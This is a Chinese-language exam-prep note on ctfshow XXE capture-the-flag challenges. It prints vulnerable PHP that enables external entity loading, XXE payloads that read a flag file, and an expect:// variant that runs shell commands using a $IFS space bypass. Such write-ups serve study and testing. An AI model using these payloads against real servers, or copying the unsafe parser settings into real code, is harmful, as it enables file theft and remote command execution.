pts备考

前言

最近要备考PTS,记录一下,就当是笔记了。

xxe

ctfshow web373

xxe这个考点之前接触的挺少的,记录一下,这里以ctfshow web入门的xxe为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

payload:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any
[<!ENTITY hack SYSTEM "file:///flag">]>
<root><ctfshow>&hack;</ctfshow></root>

需要注意的是不能直接hackbar传,因为hackbar只对传输键值对的数据有效。所以就通过bp抓包来传。

ctfshow web378

题目给了一个登录框,抓包的时候可以发现Content-Type: application/xml;charset=UTF-8 ,然后post实体为:<user><username>1;</username><password>1</password></user>

所以改下373的payload可以拿来直接用,用bp传:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any
[<!ENTITY hack SYSTEM "file:///flag">]>
<user><username>&hack;</username><password>1</password></user>

在支持expect协议的php环境里面,可以利用expect协议来RCE,以上面为payload为例,改写一下即,注意该协议不支持空格,所以要用$IFS来绕过。

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any
[<!ENTITY hack SYSTEM "expect:whoami">]>
<user><username>&hack;</username><password>1</password></user>